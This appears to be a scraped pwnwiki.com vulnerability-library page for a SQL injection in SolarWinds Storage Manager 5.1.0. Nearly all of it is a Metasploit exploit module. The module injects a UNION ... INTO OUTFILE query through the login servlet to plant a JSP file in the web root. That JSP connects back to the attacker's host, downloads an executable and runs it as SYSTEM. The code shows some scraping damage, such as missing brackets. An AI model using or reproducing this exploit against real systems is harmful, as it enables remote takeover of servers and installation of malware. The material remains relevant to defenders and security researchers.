Loading
0

Solarwinds Storage Manager 5.1.0 SQL注入漏洞

免费、自由、人人可编辑的漏洞库--pwnwiki.com

,

EXP

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::TcpServer
 include Msf::Exploit::EXE

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Solarwinds Storage Manager 5.1.0 SQL Injection",
   'Description'    => %q{
     This module exploits a SQL injection found in Solarwinds Storage Manager
    login interface.  It will send a malicious SQL query to create a JSP file
    under the web root directory, and then let it download and execute our malicious
    executable under the context of SYSTEM.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    
     'email protected$', # Original discovery by Digital Defense VRT
     'muts',   # PoC
     'sinn3r'  # Metasploit
    ,
   'References'     =>
    
     'EDB', '18818',
     'URL', 'http://ddilabs.blogspot.com/2012/02/solarwinds-storage-manager-server-sql.html',
     'URL', 'http://www.solarwinds.com/documentation/storage/storagemanager/docs/ReleaseNotes/vulnerability.htm'
    ,
   'Payload'        =>
    {
     'BadChars' => "\x00",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => 'win',
   'Targets'        =>
    
     # Win XP / 2003 / Vista / Win 7 / etc
     'Windows Universal', {}
    ,
   'Privileged'     => false,
   'DisclosureDate' => "Dec 7 2011",
   'DefaultTarget'  => 0))

  register_options(
   
    OptPort.new('RPORT', true, 'The target port', 9000)
   , self.class)
 end


 #
 # A very gentle check to see if Solarwinds Storage Manage exists or not
 #
 def check
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => '/LoginServlet'
  })

  if res and res.body =~ /\<title>\SolarWinds \- Storage Manager\<\/title\>/ and
             res.body =~ /\<img style="padding\-top:30px;" src="\/images\/logo_solarwinds_login\.png" width="163" height="70" alt="SolarWinds Storage Manager"\>/
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end


 #
 # Remove the JSP once we get a shell.
 # We cannot delete the executable because it will still be in use.
 #
 def on_new_session(cli)
  if cli.type != 'meterpreter'
   print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
   return
  end

  cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

  begin
   jsp = @outpath.gsub(/\//, "\\\\")
   jsp = jsp.gsub(/"/, "")
   vprint_status("#{rhost}:#{rport} - Deleting: #{jsp}")
   cli.fs.file.rm(jsp)
   print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
  rescue ::Exception => e
   print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
  end
 end


 #
 # Transfer the malicious executable to our victim
 #
 def on_client_connect(cli)
  print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")
  cli.put(@native_payload)
  service.close_client(cli)
 end


 #
 # Generate a download+exe JSP payload
 #
 def generate_jsp_payload
  my_host = (datastore'SRVHOST' == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore'SRVHOST'
  my_port = datastore'SRVPORT'

  # tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\
  # This will download our malicious executable in base64 format, decode it back,
  # save it as a temp file, and then finally execute it.
  jsp = %Q|
  <%@page import="java.io.*"%>
  <%@page import="java.net.*"%>
  <%@page import="sun.misc.BASE64Decoder"%>

  <%
  StringBuffer buf = new StringBuffer();
  byte shellcode = null;
  BufferedOutputStream outstream = null;
  try {
   Socket s = new Socket("#{my_host}", #{my_port});
   BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));
   while (buf.length() < #{@native_payload.length}) {
    buf.append( (char) r.read());
   }

   BASE64Decoder decoder = new BASE64Decoder();
   shellcode = decoder.decodeBuffer(buf.toString());

   File temp = File.createTempFile("#{@native_payload_name}", ".exe");
   String path = temp.getAbsolutePath();

   outstream = new BufferedOutputStream(new FileOutputStream(path));
   outstream.write(shellcode);
   outstream.close();

   Process p = Runtime.getRuntime().exec(path);
  } catch (Exception e) {}
  %>
  |

  jsp = jsp.gsub(/\n/, '')
  jsp = jsp.gsub(/\t/, '')

  jsp.unpack("H*")0
 end


 #
 # Run the actual exploit
 #
 def inject_exec
  # This little lag is meant to ensure the TCP server runs first before the requests
  select(nil, nil, nil, 1)

  # Inject our JSP payload
  print_status("#{rhost}:#{rport} - Sending JSP payload")
  pass = rand_text_alpha(rand(10)+5)
  hex_jsp  = generate_jsp_payload

  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => '/LoginServlet',
   'headers'   => {
    'Accept-Encoding' => 'identity'
   },
   'vars_post'  => {
    'loginState' => 'checkLogin',
    'password'   => pass,
    'loginName'  => "AAA' union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile #{@outpath}#"
   }
  })

  # Pick up the cookie, example:
  # JSESSIONID=D90AC5C0BB43B5AC1396736214A1B5EB
  if res and res.headers'Set-Cookie' =~ /JSESSIONID=(\w+);/
   cookie = "JSESSIONID=#{$1}"
  else
   print_error("Unable to get a session ID")
   return
  end

  # Trigger the JSP
  print_status("#{rhost}:#{rport} - Trigger JSP payload")
  send_request_cgi({
   'method'    => 'POST',
   'uri'       => '/LoginServlet',
   'headers'   => {
    'Cookie' => cookie,
    'Accept-Encoding' => 'identity'
   },
   'vars_post' => {
    'loginState' => 'checkLogin',
    'password'   => pass,
    'loginName'  => "1' or 1=1#--"
   }
  })

  res = send_request_raw({
   'method'  => 'POST',
   'uri'     => "/#{@jsp_name + '.jsp'}",
   'headers' => {
    'Cookie' => cookie
   }
  })

  handler
 end


 #
 # The server must start first, and then we send the malicious requests
 #
 def exploit
  # Avoid passing this as an argument for performance reasons
  # This is in base64 is make sure our file isn't mangled
  @native_payload      = generate_payload_exe.pack("m*")
  @native_payload_name = rand_text_alpha(rand(6)+3)
  @jsp_name            = rand_text_alpha(rand(6)+3)
  @outpath             = "\"C:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/#{@jsp_name + '.jsp'}\""

  begin
   t = framework.threads.spawn("reqs", false) { inject_exec }
   print_status("Serving executable on #{datastore'SRVHOST'}:#{datastore'SRVPORT'}")
   super
  ensure
   t.kill
  end
 end
end


免费、自由、人人可编辑的漏洞库--PwnWiki.com